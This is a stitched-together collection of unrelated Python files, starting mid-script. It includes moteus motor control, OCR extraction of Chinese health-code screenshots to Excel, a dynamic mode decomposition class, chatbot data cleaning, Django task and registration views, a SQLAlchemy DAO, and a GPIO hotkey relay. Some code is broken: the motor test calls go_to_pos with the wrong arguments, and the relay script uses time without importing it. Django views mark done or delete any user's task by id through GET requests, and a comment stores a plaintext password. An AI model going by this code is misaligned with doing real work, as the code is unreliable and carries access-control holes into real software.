        servo_bus_map={
            bus_number:[motor_id],
        }
    )
    # create a moteus.Controller object for interaction with controller
    servo = moteus.Controller(id=motor_id, transport=transport)
    await servo.set_stop()
    tau_limit = 3
    (pos, _, _) = await utils.read_motor_data(servo)
    cmd_pos = pos
    pos_cycle = 0.003
    print('init pos:', round(pos, 3))
    start_time = time.time()
    try:
        sgn = -1 if pos > final_pos else 1
        print('cw' if sgn == -1 else 'ccw')
        while sgn * (final_pos - pos) > 0:
            cmd_pos += sgn * pos_cycle
            (pos,
            vel,
            tau) = await utils.send_rad_command(
                controller_obj=servo,
                pos=cmd_pos,
                vel=0,
                tau_limit=tau_limit)
    finally:
        await servo.set_stop()

async def test():
    await go_to_pos(
        servo=servo,
        final_pos=0,
        rad_per_cycle=0.003,
        tau_limit=4
    )

if __name__ == '__main__':
#    motor id and bus number mapping
    bus_number = 2
    motor_id = 9
    transport = moteus_pi3hat.Pi3HatRouter(
        servo_bus_map={
            bus_number:[motor_id],
        }
    )
    servo = moteus.Controller(id=motor_id, transport=transport)
    while True:
        final_pos = np.deg2rad(float(input('Enter the final pos in degree:')))#np.deg2rad(0)
        asyncio.run(main())
        asyncio.run(test())
    print('end of script')


# author = 'L1Sta2'
# ver = 1.0
# name = '健康码信息提取'

import pytesseract # ocr库, 已经完成训练
from PIL import Image # 用于打开图片
import re
import os
import pandas as pd
# 提交健康码的时候需要用姓名命名
# 原因是由于健康码调整，去掉了显示自己身份证和姓名的功能(小眼睛没了)
# 功能是 将当前列表中的所有截图中信息提取 并在当前目录新建excel来保存结果

def files_get() -> list:
    '''返回当前目录下所有的截图和姓名'''
    names = os.listdir(os.getcwd())
    pics = []
    users = []
    for file in names:
        if os.path.basename(file).endswith('.png'):
            # 找到后缀名为png的截图名称并保存到新列表
            user_name = file.replace('.png', '')
            pics.append(file)
            users.append(user_name)
    return pics, users

def ocr_scaning(pics, users) -> list:
    '''主循环,把当前列表所有的图片信息读取并转化为列表返回'''
    pytesseract.pytesseract.tesseract_cmd = 'C://Program Files (x86)/Tesseract-OCR/tesseract.exe'
    # 对ocr进行初始化
    ls_of_person = []
    for x, picture in enumerate(pics):
        image = Image.open(picture)
        what = pytesseract.image_to_string(image, lang='chi_sim')
        # 开始识别 设置语言为中文
        # 训练好的库需要自己下载
        name = users[x]
        # print(name, what)
        date_feature = re.compile(r"(\d{4}-\d{1,2}-\d{1,2})")
        match_lists = date_feature.findall(what)

        try:
            screen_date, test_date, vacine_date = match_lists[:]
            # 可能有人的没有完成
        except:
            screen_date, test_date = match_lists[:]
            vacine_date = "数据同步中"
            # 获取三个日期 截图日期 上次检测时间 接种时间
            # 部分人可能只有两个日期 因为非本省接种疫苗，所以会少第三个报错

        try:
            bool_vac = re.search(
                r"(阴?)(阳?) 性( ?)[0-9]", what.replace("E", "阴 性"))
            # 这个正则用于识别当前为阴性或者阳性 并找到接种次数
            bool_test_result = bool_vac.group().replace(" ", '')
            result, times = bool_test_result[:2], bool_test_result[-1] if 1 <= int(
                bool_test_result[-1]) <= 3 else 3
        except:
            if "阴" in what:
                result = '阴性'
                times = vacine_date
                # 部分人可能识别不到阴性 这个时候直接判断是否含有串
                # 当然也可以修改面的匹配，让[0-9]? 但是就需要匹配最后一个结果了

        ls_of_person.append([name, screen_date, test_date,
                            vacine_date, result, times])
    return ls_of_person

def build_excel(ls_of_people) -> None:
    '''将数据保存到excel'''
    writer = pd.ExcelWriter('健康码.xlsx')
    # 当前文件夹新建文件
    data = pd.DataFrame(ls_of_people)
    data.columns = ['姓名', '截图日期', '核酸检测日期', '上次接种日期', '核酸结果', '疫苗接种次数']
    data.to_excel(writer, sheet_name='表格1')
    writer.save()
    print(data)

if __name__ == '__main__':
    pics, users = files_get()
    ls_of_people = ocr_scaning(pics, users)
    build_excel(ls_of_people)

ocr+正则实现健康码读取.py

ocr+正则实现健康码读取.py


#! /usr/bin/env python

import numpy as np
import pickle

class DMDBase(object):
    """
    Base class for Non-intrusive Reduced Order Modeling (NIROM)
    using Dynamic Mode Decomposition (DMD)

    """
    @staticmethod
    def save_to_disk(filename,ROM,**options):
        """
        Save the instance in ROM to disk using options
        Start with absolutely simplest approach using pickle
        """
        outfile = open(filename,'wb')
        protocol= options.get('protocol',pickle.HIGHEST_PROTOCOL)
        try:
            pickle.dump(ROM,outfile,protocol=protocol)
        finally:
            outfile.close()
        return ROM
    @staticmethod
    def read_from_disk(filename,**options):
        """
        Read the instance in ROM to disk using options
        Start with absolutely simplest approach using pickle
        """
        infile = open(filename,'rb')
        encoding= options.get('encoding','latin1')
        ROM = None
        try:
            ROM = pickle.load(infile,encoding=encoding)
        except TypeError:
            ROM = pickle.load(infile)
        finally:
            infile.close()
        return ROM

    def __init__(self,rank,**options):
        self._rank=rank
        for thing in ['_U_r','_Sigma_r','_V_r','_X']:
            setattr(self,thing,None)

    @property
    def rank(self):
        """
        Truncation level
        """
        return self._rank
    @property
    def n_snap(self):
        """
        return number of snapshots used in training
        """
        return self._n_snap_fit
    @property
    def n_fine(self):
        """
        return fine grid dimension
        """
        return self._Phi.shape[0]
    @property
    def t0_fit(self):
        """
        initial time value for DMD calculation
        """
        return self._t0_fit
    @property
    def dt_fit(self):
        """
        time step assumed for fit
        """
        return self._dt_fit
    @property
    def approximate_operator(self):
        """
        Best fit operator truncated to mode dim
        """
        return self._Atilde
    @property
    def basis(self):
        """
        DMD basis (truncated)
        """
        return self._Phi
    @property
    def omega(self):
        return self._omega
    @property
    def amplitudes(self):
        return self._b
    @property
    def pod_basis(self):
        return self._U_r
    @property
    def pod_singular_values(self):
        return self._Sigma_r

    def fit_basis(self,S,dt_fit,t0_fit=0.):
        """
        DMD algorithm

        Input::
        S: snapshot matrix (N X M == D.O.F. X Time points)
        dt_fit: Normalized time step (should be = 1.0)
        t0_fit: Initial time of simulation (Default = 0.0)

        Output::
        Phi: DMD modes
        D:
        """
        X, Xp = S[:,0:-1], S[:,1:]
        #time information
        self._t0_fit, self._dt_fit = t0_fit, dt_fit
        t0, dt = 0., 1.
        ## compute svd
        U, Sigma, Vt = np.linalg.svd(X, full_matrices = False)
        V = (Vt.conj()).transpose()
        r = min(self._rank, U.shape[1])
        U_r, Sigma_r, V_r=U[:,:r], Sigma[:r], V[:,:r]
        #invert Sigma (diagonal)
        assert np.abs(Sigma_r).min() > 0.
        SigmaInv_r = np.reciprocal(Sigma_r)
        SigmaInv_r = np.diag(SigmaInv_r)

        ## compute approximate temporal dynamics through Atilde
        tmp1   = ((U_r.conj().transpose()).dot(Xp)).dot(V_r)
        Atilde = tmp1.dot(SigmaInv_r)
        # discrete time eigenvalues and eigenvectors
        D, W   = np.linalg.eig(Atilde)
        ## DMD modes (using exact DMD algorithm)
        tmp2   = (Xp.dot(V_r)).dot(SigmaInv_r)
        Phi    = tmp2.dot(W)
        ## continuous time eigenvalues
        omega  = np.log(D)/dt
        assert np.isnan(omega).any() == False

        ## amplitudes from projection of initial condition
        x0 = X[:,0]
        PhiInv = np.linalg.pinv(Phi)
        b = PhiInv.dot(x0)

        toffline = t0 + np.arange(0, X.shape[1])*dt
        time_dynamics = np.zeros((r, X.shape[1]), dtype=np.complex_)

        for kk in range(X.shape[1]):
            time_dynamics[:,kk] = b*(np.exp(omega*toffline[kk]))
        #
        Xdmd = Phi.dot(time_dynamics)
        Xdmd = Xdmd.real

        ##Save DMD components
        self._n_snap_fit = S.shape[1]
        self._U_r, self._Sigma_r, self._SigmaInv_r, self._V_r = U_r, Sigma_r, SigmaInv_r, V_r
        #approximate linear system operator
        self._Atilde = Atilde
        #DMD modes,frequencies, eignenvectors, and projection of the initial condition
        self._Phi, self._omega, self._D, self._b = Phi, omega, D, b
        self._PhiInv = PhiInv

        return Phi,D,Xdmd,time_dynamics,Sigma

    def predict(self,t):
        """
        Utility function to predict solutions at
        provided time points
        Input::
        t: array of time points at which solution is sought

        Output::
        uh: DMD solution (full order space)
        """
        tnorm = (t - self.t0_fit)/(self.dt_fit)
        time_dynamics = self.amplitudes*(np.exp(self.omega*tnorm))
        uh = self.basis.dot(time_dynamics).real

        return uh

    def compute_error(self, true, pred, soln_names, metric='rms'):
        """
        Utility function to compute different
        error metrics based on provided DMD and
        true solutions

        Input::
        true: 2d array of true solutions
        pred: 2d array of DMD predictions
                Both true and pred arrays should have
                the same stacking conventions for
                multicomponent systems, with time on
                the 2nd axis
        soln_names: Dictionary with names of solution
                    components
        metric: type of error metric
                'rms' = Root mean square error
                'rel' = relative error
        Output::
        err: Dictionary of error values.
             Each key is a 1d array with error
             values for a solution component
        """

        err = {}
        Nn = self.n_fine
        Nc = len(soln_names)
        if metric == 'rms':
            for ivar, key in enumerate(soln_names):
                err[key] = np.linalg.norm(true[ivar::Nc,:] - pred[ivar::Nc,:], axis = 0)/np.sqrt(Nn)
        elif metric == 'rel':
            for ivar, key in enumerate(soln_names):
                err[key] = np.linalg.norm(true[ivar::Nc,:] - pred[ivar::Nc,:], axis = 0)/ \
                                np.linalg.norm(true[ivar::Nc,:], axis = 0)

        return err


import json
from pathlib import Path
from nltk.corpus import stopwords
en_stops = set(stopwords.words('english'))

data = []
remove_stopW = []
tags = []
answers = []
questions = []

json_path = Path(__file__).parent.joinpath('../data/fixed_json')
files = json_path.glob('*.json')
for file in files:
    with file.open('r', encoding='utf-8') as f:
        try:
            data.extend(json.load(f))

        except (KeyError, json.JSONDecodeError):
            pass

for line in data:
    answer = line['answer']
    question = line['question']
    questions.append(question)
    answers.append(answer)

for line in data:
    tag = line['tag']
    tag = str(tag)
    tag = tag.split()
    temp = []
    for i in tag:
        if i not in en_stops:
            temp.append(i)
    remove_stopW.append(temp)

for line in remove_stopW:
    line = str(line)
    line = line.replace(',', '').replace("'", '')
    tags.append(line)

z = zip(tags, questions, answers)
zipped = list(z)
zipped_data = []

for i in zipped:
    zipped_data.append(i)

dict_to_json = {
    'intents': []
}
for line in zipped_data:
    tag = line[0]
    tag = tag.replace('[', '').replace(']', '')
    answer = line[2]
    question = line[1]
    to_dict = {
        'tag': tag,
        'question': [tag],
        'answer': answer
    }
    dict_to_json['intents'].append(to_dict)

out_file = '../cleaned_data/data_removed_stopW.json'
with open(out_file,'w', encoding='utf-8') as f:
    json.dump(dict_to_json, f, indent=4)


from django.views import generic
from django.contrib.auth.mixins import LoginRequiredMixin
from .models import Tesk
from django.urls import reverse_lazy
from django.shortcuts import redirect, get_object_or_404

class TaskList(LoginRequiredMixin, generic.ListView):
    model = Tesk
    context_object_name = "tasks"

    def get_queryset(self):
        return self.model.objects.filter(user=self.request.user)

class TaskCreate(LoginRequiredMixin, generic.CreateView):
    model = Tesk
    fields = ["title"]
    success_url = reverse_lazy("list_task")

    def form_valid(self, form):
        form.instance.user = self.request.user
        return super(TaskCreate, self).form_valid(form)

class TaskUpdate(LoginRequiredMixin, generic.UpdateView):
    model = Tesk
    success_url = reverse_lazy("list_task")
    fields = ['title']

class TaskDone(LoginRequiredMixin, generic.View):
    model = Tesk
    success_url = reverse_lazy("list_task")

    def get(self, request, *args, **kwargs):
        object = get_object_or_404(Tesk, pk=kwargs.get("pk"))
        object.done = True
        object.save()
        return redirect(self.success_url)

class TaskDelete(LoginRequiredMixin, generic.DeleteView):
    model = Tesk
    success_url = reverse_lazy('list_task')

    def get(self, request, *args, **kwargs):
        object = get_object_or_404(Tesk, pk=kwargs.get("pk"))
        Tesk.delete(object)
        return redirect(self.success_url)


from collections import defaultdict
from typing import List

from sqlalchemy import select

from app.models import async_session, DatabaseHelper
from app.models.schema.testcase_data import PityTestcaseDataForm
from app.models.testcase_data import PityTestcaseData
from app.utils.logger import Log

class PityTestcaseDataDao(object):
    log = Log("PityTestcaseDataDao")

    @staticmethod
    async def insert_testcase_data(form: PityTestcaseDataForm, user: int):
        try:
            async with async_session() as session:
                async with session.begin():
                    sql = select(PityTestcaseData).where(PityTestcaseData.case_id == form.case_id,
                                                         PityTestcaseData.env == form.env,
                                                         PityTestcaseData.name == form.name,
                                                         PityTestcaseData.deleted_at == 0)
                    result = await session.execute(sql)
                    query = result.scalars().first()
                    if query is not None:
                        raise Exception("该数据已存在, 请重新编辑")
                    data = PityTestcaseData(**form.dict(), user=user)
                    session.add(data)
                    await session.flush()
                    await session.refresh(data)
                    session.expunge(data)
                    return data
        except Exception as e:
            PityTestcaseDataDao.log.error(f"新增测试数据失败, error: {str(e)}")
            raise Exception(f"新增测试数据失败, {str(e)}")

    @staticmethod
    async def update_testcase_data(form: PityTestcaseDataForm, user: int):
        try:
            async with async_session() as session:
                async with session.begin():
                    sql = select(PityTestcaseData).where(PityTestcaseData.id == form.id,
                                                         PityTestcaseData.deleted_at == 0)
                    result = await session.execute(sql)
                    query = result.scalars().first()
                    if query is None:
                        raise Exception("测试数据不存在")
                    DatabaseHelper.update_model(query, form, user)
                    await session.flush()
                    session.expunge(query)
                    return query
        except Exception as e:
            PityTestcaseDataDao.log.error(f"编辑测试数据失败, error: {str(e)}")
            raise Exception(f"编辑测试数据失败, {str(e)}")

    @staticmethod
    async def delete_testcase_data(id: int, user: int):
        try:
            async with async_session() as session:
                async with session.begin():
                    sql = select(PityTestcaseData).where(PityTestcaseData.id == id,
                                                         PityTestcaseData.deleted_at == 0)
                    result = await session.execute(sql)
                    query = result.scalars().first()
                    if query is None:
                        raise Exception("测试数据不存在")
                    DatabaseHelper.delete_model(query, user)
        except Exception as e:
            PityTestcaseDataDao.log.error(f"删除测试数据失败, error: {str(e)}")
            raise Exception(f"删除测试数据失败, {str(e)}")

    @staticmethod
    async def list_testcase_data(case_id: int):
        ans = defaultdict(list)
        try:
            async with async_session() as session:
                sql = select(PityTestcaseData).where(PityTestcaseData.case_id == case_id,
                                                     PityTestcaseData.deleted_at == 0)
                result = await session.execute(sql)
                query = result.scalars().all()
                for q in query:
                    ans[q.env].append(q)
                return ans
        except Exception as e:
            PityTestcaseDataDao.log.error(f"查询测试数据失败, error: {str(e)}")
            raise Exception(f"查询测试数据失败, {str(e)}")

    @staticmethod
    async def list_testcase_data_by_env(env: int, case_id: int) -> List[PityTestcaseData]:
        try:
            async with async_session() as session:
                sql = select(PityTestcaseData).where(PityTestcaseData.case_id == case_id,
                                                     PityTestcaseData.env == env,
                                                     PityTestcaseData.deleted_at == 0)
                result = await session.execute(sql)
                return result.scalars().all()
        except Exception as e:
            PityTestcaseDataDao.log.error(f"查询测试数据失败, error: {str(e)}")
            raise Exception(f"查询测试数据失败, {str(e)}")


from django.contrib.auth import login
from django.shortcuts import redirect, render
from django.urls import reverse
from Users.forms import CustomUserCreationForm

# username - Aman
# password - aman

# python -m smtpd -n -c DebuggingServer localhost:1025
# type the above in terminal to start local smtp server
def dashboard(request):
    return render(request, 'Users/dashboard.html')

def register(request):
    if request.method == 'GET':
        return render(
            request, 'Users/register.html',
            {'form': CustomUserCreationForm}
        )
    elif request.method == 'POST':
        form = CustomUserCreationForm(request.POST)
        if form.is_valid():
            user = form.save(commit=False) # This creates an User, but it's not immediately saved
            user.backend = 'django.contrib.auth.backends.ModelBackend'   # This associates a github backend to the above line 24 User, and thn saves it to the database
            user.save()
            login(request, user)
            return redirect(reverse('dashboard'))

# Here’s a breakdown of the register() view:
#
# Lines 17 to 21: If the view is displayed by a browser, then it will be accessed by a GET method.
#                 In that case, a template called users/register.html will be rendered.
#                 The last argument of .render() is a context, which in this case contains your custom user creation form.
#
# Lines 22 to 23: If the form is submitted, then the view will be accessed by a POST method.
#                 In that case, Django will attempt to create a user.
#                 A new CustomUserCreationForm is created using the values submitted to the form, which are contained in the request.POST object.
#
# Lines 24 to 27: If the form is valid, then a new user is created on line 25 using form.save().
#                 Then the user is logged in on line 27 using login().
#                 Finally, line 28 redirects the user to the dashboard.


from gpiozero import *
import keyboard

#Configurations
ch1_hotkey = '1'
ch1_timedelay = False
ch1_timedelaymillis = 1000

ch2_hotkey = '2'
ch2_timedelay = False
ch2_timedelaymillis = 1000

ch3_hotkey = '3'
ch3_timedelay = False
ch3_timedelaymillis = 1000

ch4_hotkey = '4'
ch4_timedelay = False
ch4_timedelaymillis = 1000

ch5_hotkey = '5'
ch5_timedelay = False
ch5_timedelaymillis = 1000

ch6_hotkey = '6'
ch6_timedelay = False
ch6_timedelaymillis = 1000

ch7_hotkey = '7'
ch7_timedelay = False
ch7_timedelaymillis = 1000

ch8_hotkey = '8'
ch8_timedelay = False
ch8_timedelaymillis = 1000

#Define GPIO
ch1 = OutputDevice(5), ch1_hotkey, ch1_timedelay, ch1_timedelaymillis
ch2 = OutputDevice(6), ch2_hotkey, ch2_timedelay, ch2_timedelaymillis
ch3 = OutputDevice(13), ch3_hotkey, ch3_timedelay, ch3_timedelaymillis
ch4 = OutputDevice(16), ch4_hotkey, ch4_timedelay, ch4_timedelaymillis
ch5 = OutputDevice(19), ch5_hotkey, ch5_timedelay, ch5_timedelaymillis
ch6 = OutputDevice(20), ch6_hotkey, ch6_timedelay, ch6_timedelaymillis
ch7 = OutputDevice(21), ch7_hotkey, ch7_timedelay, ch7_timedelaymillis
ch8 = OutputDevice(26), ch8_hotkey, ch8_timedelay, ch8_timedelaymillis

# Define hotkeys
keyboard.add_hotkey(ch1[1], lambda: switch(ch1))
keyboard.add_hotkey(ch2[1], lambda: switch(ch2))
keyboard.add_hotkey(ch3[1], lambda: switch(ch3))
keyboard.add_hotkey(ch4[1], lambda: switch(ch4))
keyboard.add_hotkey(ch5[1], lambda: switch(ch5))
keyboard.add_hotkey(ch6[1], lambda: switch(ch6))
keyboard.add_hotkey(ch7[1], lambda: switch(ch7))
keyboard.add_hotkey(ch8[1], lambda: switch(ch8))

# Loop all channels off
channels = [ch1, ch2, ch3, ch4, ch5, ch6, ch7, ch8]
for channel in channels:
	channel[0].off()

def switch(channel):
	if channel[2] == 'True':
		channel[0].on()
		print(channel[0], 'ON')
		time.sleep(channel[3]/1000)
		channel[0].off()
		print(channel[0], 'OFF')

	else:
		channel[0].toggle()
		print(channel[0], 'TOGGLE')

def wait():
        keyboard.wait()

if __name__ == "__main__":
        wait()